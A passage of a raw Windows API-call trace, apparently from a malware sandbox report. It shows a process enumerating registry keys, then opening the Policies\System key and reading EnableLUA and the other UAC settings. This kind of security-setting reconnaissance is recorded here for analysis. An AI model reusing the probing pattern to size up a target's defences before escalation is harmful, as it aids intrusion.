dwIndex=0x4c, lpName=0xd5b930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0173.019] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4d, lpName=0xd5b930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0173.020] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4e, lpName=0xd5b930, cchName=0x104 | out: lpName="Office") returned 0x0 [0173.020] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4f, lpName=0xd5b930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0173.020] RegEnumKeyW (in: hKey=0x24, dwIndex=0x50, lpName=0xd5b930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0173.020] RegEnumKeyW (in: hKey=0x24, dwIndex=0x51, lpName=0xd5b930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0173.020] RegEnumKeyW (in: hKey=0x24, dwIndex=0x52, lpName=0xd5b930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0173.020] RegEnumKeyW (in: hKey=0x24, dwIndex=0x53, lpName=0xd5b930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0173.020] RegEnumKeyW (in: hKey=0x24, dwIndex=0x54, lpName=0xd5b930, cchName=0x104 | out: lpName="Print") returned 0x0 [0173.020] RegEnumKeyW (in: hKey=0x24, dwIndex=0x55, lpName=0xd5b930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0173.020] RegEnumKeyW (in: hKey=0x24, dwIndex=0x56, lpName=0xd5b930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0173.020] RegEnumKeyW (in: hKey=0x24, dwIndex=0x57, lpName=0xd5b930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0173.020] RegEnumKeyW (in: hKey=0x24, dwIndex=0x58, lpName=0xd5b930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0173.020] RegEnumKeyW (in: hKey=0x24, dwIndex=0x59, lpName=0xd5b930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0173.020] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5a, lpName=0xd5b930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0173.020] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5b, lpName=0xd5b930, cchName=0x104 | out: lpName="Router") returned 0x0 [0173.020] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5c, lpName=0xd5b930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0173.020] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5d, lpName=0xd5b930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0173.020] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5e, lpName=0xd5b930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0173.020] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5f, lpName=0xd5b930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0173.021] RegEnumKeyW (in: hKey=0x24, dwIndex=0x60, lpName=0xd5b930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0173.021] RegEnumKeyW (in: hKey=0x24, dwIndex=0x61, lpName=0xd5b930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0173.021] RegEnumKeyW (in: hKey=0x24, dwIndex=0x62, lpName=0xd5b930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0173.021] RegEnumKeyW (in: hKey=0x24, dwIndex=0x63, lpName=0xd5b930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0173.021] RegEnumKeyW (in: hKey=0x24, dwIndex=0x64, lpName=0xd5b930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0173.021] RegEnumKeyW (in: hKey=0x24, dwIndex=0x65, lpName=0xd5b930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0173.021] RegEnumKeyW (in: hKey=0x24, dwIndex=0x66, lpName=0xd5b930, cchName=0x104 | out: lpName="Software") returned 0x0 [0173.021] RegEnumKeyW (in: hKey=0x24, dwIndex=0x67, lpName=0xd5b930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0173.021] RegEnumKeyW (in: hKey=0x24, dwIndex=0x68, lpName=0xd5b930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0173.021] RegEnumKeyW (in: hKey=0x24, dwIndex=0x69, lpName=0xd5b930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0173.021] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6a, lpName=0xd5b930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0173.021] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6b, lpName=0xd5b930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0173.021] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6c, lpName=0xd5b930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0173.021] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6d, lpName=0xd5b930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0173.021] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6e, lpName=0xd5b930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0173.021] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6f, lpName=0xd5b930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0173.021] RegEnumKeyW (in: hKey=0x24, dwIndex=0x70, lpName=0xd5b930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0173.022] RegEnumKeyW (in: hKey=0x24, dwIndex=0x71, lpName=0xd5b930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0173.022] RegEnumKeyW (in: hKey=0x24, dwIndex=0x72, lpName=0xd5b930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0173.022] RegEnumKeyW (in: hKey=0x24, dwIndex=0x73, lpName=0xd5b930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0173.022] RegEnumKeyW (in: hKey=0x24, dwIndex=0x74, lpName=0xd5b930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0173.022] RegEnumKeyW (in: hKey=0x24, dwIndex=0x75, lpName=0xd5b930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0173.022] RegEnumKeyW (in: hKey=0x24, dwIndex=0x76, lpName=0xd5b930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0173.022] RegEnumKeyW (in: hKey=0x24, dwIndex=0x77, lpName=0xd5b930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0173.022] RegEnumKeyW (in: hKey=0x24, dwIndex=0x78, lpName=0xd5b930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0173.022] RegEnumKeyW (in: hKey=0x24, dwIndex=0x79, lpName=0xd5b930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0173.022] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7a, lpName=0xd5b930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0173.022] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7b, lpName=0xd5b930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0173.022] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7c, lpName=0xd5b930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0173.022] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7d, lpName=0xd5b930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0173.022] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7e, lpName=0xd5b930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0173.022] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7f, lpName=0xd5b930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0173.022] RegEnumKeyW (in: hKey=0x24, dwIndex=0x80, lpName=0xd5b930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0173.022] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x2df91c | out: phkResult=0x2df91c*=0xa0) returned 0x0 [0173.022] RegCloseKey (hKey=0x24) returned 0x0 [0173.023] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0xd5b930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0173.023] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x2df91c | out: phkResult=0x2df91c*=0x24) returned 0x0 [0173.023] RegCloseKey (hKey=0xa0) returned 0x0 [0173.023] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0xd5b930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0173.023] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0xd5b930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0173.023] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0xd5b930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0173.023] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0xd5b930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0173.023] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0xd5b930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0173.023] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0xd5b930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0173.023] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0xd5b930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0173.023] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0xd5b930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0173.023] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0xd5b930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0173.023] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0xd5b930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0173.023] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0xd5b930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0173.023] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0xd5b930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0173.023] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0xd5b930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0173.023] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0xd5b930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0173.023] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0xd5b930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0173.024] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0xd5b930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0173.024] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0xd5b930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0173.024] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0xd5b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0173.024] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0xd5b930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0173.024] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0xd5b930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0173.024] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0xd5b930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0173.024] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0xd5b930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0173.024] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0xd5b930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0173.024] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0xd5b930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0173.024] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0xd5b930, cchName=0x104 | out: lpName="IME") returned 0x0 [0173.024] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0xd5b930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0173.024] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0xd5b930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0173.024] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0xd5b930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0173.024] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0xd5b930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0173.024] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0xd5b930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0173.024] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0xd5b930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0173.024] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0xd5b930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0173.025] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0xd5b930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0173.025] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0xd5b930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0173.025] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0xd5b930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0173.025] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0xd5b930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0173.025] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0xd5b930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0173.025] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0xd5b930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0173.025] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0xd5b930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0173.025] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0xd5b930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0173.025] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x2df91c | out: phkResult=0x2df91c*=0xa0) returned 0x0 [0173.025] RegCloseKey (hKey=0x24) returned 0x0 [0173.025] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0xd5b930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0173.025] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0xd5b930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0173.025] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0xd5b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0173.025] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0xd5b930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0173.025] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0xd5b930, cchName=0x104 | out: lpName="System") returned 0x0 [0173.025] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x2df91c | out: phkResult=0x2df91c*=0x24) returned 0x0 [0173.025] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5b930) returned 1 [0173.025] RegCloseKey (hKey=0xa0) returned 0x0 [0173.026] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5b860) returned 1 [0173.026] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.026] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.026] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.026] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.026] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.026] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.026] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.026] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.026] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.026] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.026] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.026] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.026] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.027] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.027] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.027] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.027] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0173.027] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x2df934, lpData=0x0, lpcbData=0x2df93c*=0x0 | out: lpType=0x2df934*=0x4, lpData=0x0, lpcbData=0x2df93c*=0x4) returned 0x0 [0173.027] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x2df934, lpData=0xd5c438, lpcbData=0x2df93c*=0x4 | out: lpType=0x2df934*=0x4, lpData=0xd5c438*=0x1, lpcbData=0x2df93c*=0x4) returned 0x0 [0173.027] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c438) returned 1 [0173.027] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c5a0) returned 1 [0173.027] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.027] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x10) returned 0xd5b860 [0173.027] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5b878 [0173.027] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c5a0 [0173.027] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.027] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5b888 [0173.027] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c438 [0173.027] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.027] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5b898 [0173.027] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c558 [0173.027] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.027] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5b930 [0173.027] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c510 [0173.027] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.027] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x20) returned 0xd5b940 [0173.027] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5b860) returned 1 [0173.027] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5b860 [0173.028] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c4c8 [0173.028] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.028] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5b968 [0173.028] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c480 [0173.028] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.028] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5b978 [0173.028] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c3f0 [0173.028] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.028] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5b988 [0173.028] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c3a8 [0173.028] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.028] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x30) returned 0xd5b998 [0173.028] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5b940) returned 1 [0173.028] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5b940 [0173.028] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c360 [0173.028] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.028] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5b950 [0173.028] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c318 [0173.028] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.028] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5b9d0 [0173.028] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c2d0 [0173.028] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.028] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5b9e0 [0173.028] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.028] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.028] RtlAllocateHeap 